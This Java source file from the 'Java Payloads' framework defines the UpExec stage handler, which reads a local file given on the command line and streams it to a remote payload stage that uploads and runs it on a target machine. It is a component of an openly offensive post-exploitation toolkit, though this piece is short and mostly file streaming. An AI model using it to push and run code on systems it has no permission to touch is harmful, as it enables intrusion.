/*
 * Java Payloads.
 * 
 * Copyright (c) 2010, Michael 'mihi' Schierl
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 
 * - Redistributions of source code must retain the above copyright notice,
 *   this list of conditions and the following disclaimer.
 *   
 * - Redistributions in binary form must reproduce the above copyright
 *   notice, this list of conditions and the following disclaimer in the
 *   documentation and/or other materials provided with the distribution.
 *   
 * - Neither name of the copyright holders nor the names of its
 *   contributors may be used to endorse or promote products derived from
 *   this software without specific prior written permission.
 *   
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
 * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
 * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
 * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

package javapayload.handler.stage;

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.FileInputStream;

import javapayload.stage.StreamForwarder;

public class UpExec extends StageHandler {
	protected void customUpload(DataOutputStream out, String[] parameters) throws Exception {
		for (int i = 0; i < parameters.length; i++) {
			if (parameters[i].equals("--")) {
				final ByteArrayOutputStream baos = new ByteArrayOutputStream();
				StreamForwarder.forward(new FileInputStream(parameters[i + 2]), baos);
				final byte[] file = baos.toByteArray();
				out.writeInt(file.length);
				out.write(file);
				break;
			}
		}
	}

	public Class[] getNeededClasses() {
		return new Class[] { javapayload.stage.Stage.class, javapayload.stage.StreamForwarder.class, javapayload.stage.UpExec.class };
	}
	
	protected StageHandler createClone() {
		return new UpExec();
	}
}